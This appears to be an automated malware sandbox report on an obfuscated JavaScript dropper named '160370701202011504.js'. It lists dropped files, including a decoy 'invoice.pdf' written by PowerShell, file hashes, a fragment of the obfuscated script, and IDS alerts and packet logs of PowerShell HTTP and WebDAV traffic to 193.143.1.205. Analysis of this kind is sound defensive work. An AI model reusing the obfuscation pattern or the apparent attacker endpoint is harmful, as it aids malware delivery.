Preview:	SessionID=39ab879a-16e7-45ce-aabd-2aef063e9f36.1736544222548 Timestamp=2025-01-10T16:23:42:548-0500 ThreadID=1352 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=39ab879a-16e7-45ce-aabd-2aef063e9f36.1736544222548 Timestamp=2025-01-10T16:23:42:569-0500 ThreadID=1352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=39ab879a-16e7-45ce-aabd-2aef063e9f36.1736544222548 Timestamp=2025-01-10T16:23:42:569-0500 ThreadID=1352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=39ab879a-16e7-45ce-aabd-2aef063e9f36.1736544222548 Timestamp=2025-01-10T16:23:42:569-0500 ThreadID=1352 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=39ab879a-16e7-45ce-aabd-2aef063e9f36.1736544222548 Timestamp=2025-01-10T16:23:42:569-0500 ThreadID=1352 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406279660248124
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRM0:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRl
MD5:	96BBD0951DDEA202E1B33C245077B727
SHA1:	3D43ED913D9C6A0FB59528847C3EB631D478EF9C
SHA-256:	B1DB933DA7E5F5140597B235DE10F872DAA20C60170200E9004422D734B96B28
SHA-512:	5012991B5882F170DCF4E371DAB461C5BDF57D5FA41F497C2EF4DF8149740B3FADFBADC8B24F88C8F7A336B5C98EDEE2B4BE416B452A5E9C37B2F69D923406F0
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\85cf27bd-d122-4fb4-a9c8-086f5dff7107.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\894c3893-888d-4e6a-be30-56fb122a99fa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yKwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:bwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	D1BC27E013E1129B27D3BE5F4567D495
SHA1:	D2D1B846698798C80E57917477F7B98054B48925
SHA-256:	3EF526805CA6690C3E477DFD81BFD4B28B8D82CCA8E3641C3EDA0EC37F332DDC
SHA-512:	EBCEFA11F5BC59D602D90177B460B0F0DA59534D347FFBAF1A7C78118A3A221A02284E0A34164F6C0710C1B4E88504C4A20DA69AC998B5EE613A017B208316CB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bc58b56e-3cc7-4fd6-b533-8b40322e4924.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VSOWL07oXGZIeYIGNP5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tPWLxXGZIeZGT3mlind9i4ufFXpAXkru
MD5:	D3B63DF0CA325EC5A0D82AD75691E700
SHA1:	0F9282C8B97AD6DE395F8BFB4E2021EFE835667B
SHA-256:	77764E073F3330DBF86C7DF9482B6B4679CB5880A39267ECB49BC61A8186C1BC
SHA-512:	29942C112280254B1B75FDFB6F7D6582EBA9782509E202E5C4D8DB2A23276CE9BFD5410085BE3DCF53B27D55B07EAEF01F400E5E71113FF57644F7120E93284E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fc12f209-ab58-44d1-9a35-e0c0587bf9d2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16944), with CRLF line terminators
Entropy (8bit):	4.927125693930284
TrID:
File name:	160370701202011504.js
File size:	20'278 bytes
MD5:	cff136fb02cdb6f3d031c954e87fc8ba
SHA1:	0d45330c1980416a80c77d9e2fc12c6a4a4eecbe
SHA256:	97be0267b0d1cd2d3d66d541cf7aef2d0fc8723d9dfc7bff9814ebec57160f4f
SHA512:	0531f0a876d34108fa4c7cdbb600a52ce591264bd7bd6eaa5b376b1a9889aeecbe30c6e17e2fbe31c4bc0f0a217d86cec03fd32f6111c3e3f2822d5af9e189ce
SSDEEP:	384:2VuLpm5Z44hDS+LOmQFAPof3jIM72qNGs5kcUrE:2VuLU5zOmNobd72+kI
TLSH:	C292668C815F99BA8FF15DC440A70CEE17564B8E49AC02E9B5E3B8457B807E347F42B8
File Content Preview:	function prlztbk(){chvzee=[1031,3079,5127,4103,2055,3072];var hvjyfpo=this[vegyoqhdg+prabqlgy+rbwwqw+xmhummowc+oxdsm+dwpfy+wlawcea+jivlm](this[obkhgade+rduba+itnymz+rbwwqw+rljpcrf+vegyoqhdg+jivlm][mhplxpy+rbwwqw+oxdsm+prabqlgy+jivlm+oxdsm+cxjyomumi+plyts+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:23:37.256812+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-10T22:23:40.959516+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:23:36.475167036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:36.480104923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:36.480202913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:36.484474897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:36.489305973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256700039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256751060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256813049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256812096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.256849051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256886959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256903887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.256922007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256958008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.256990910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.257002115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.257025957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.257061005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.257070065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.257105112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.261893034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.302273035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.302341938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.302361012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.302397013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.302433014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.302437067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.350104094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.395153999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395179987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395196915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395214081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395231962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395251989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.395272970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.395522118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395570993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.395580053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395818949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395870924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395879030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.395906925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395945072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.395960093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.396490097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.396524906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.396558046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.396560907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.396595955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.396631956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.396631956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.396694899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.397336006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.397368908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.397403955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.397418976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.424508095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.424527884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.424565077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.448508978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.448539972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.448555946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.448570013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.448575020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.448597908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.490736008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.495145082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.495166063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.495223999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.515630007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.515669107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.515706062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.515753031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.515763998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.515825987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.515856028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.515888929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.515969038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.516119003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.516154051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.516192913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.516215086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.516222954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.516395092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.516556025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.516591072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.516628981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.516643047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.517066956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.517101049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.517136097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.517141104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.517172098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.517205954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.517210007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.517246008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.517282009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.517292023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.517338037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.517998934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.518033981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.518069983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.518102884 CET	80	49699	193.143.1.205	192.168.2.7
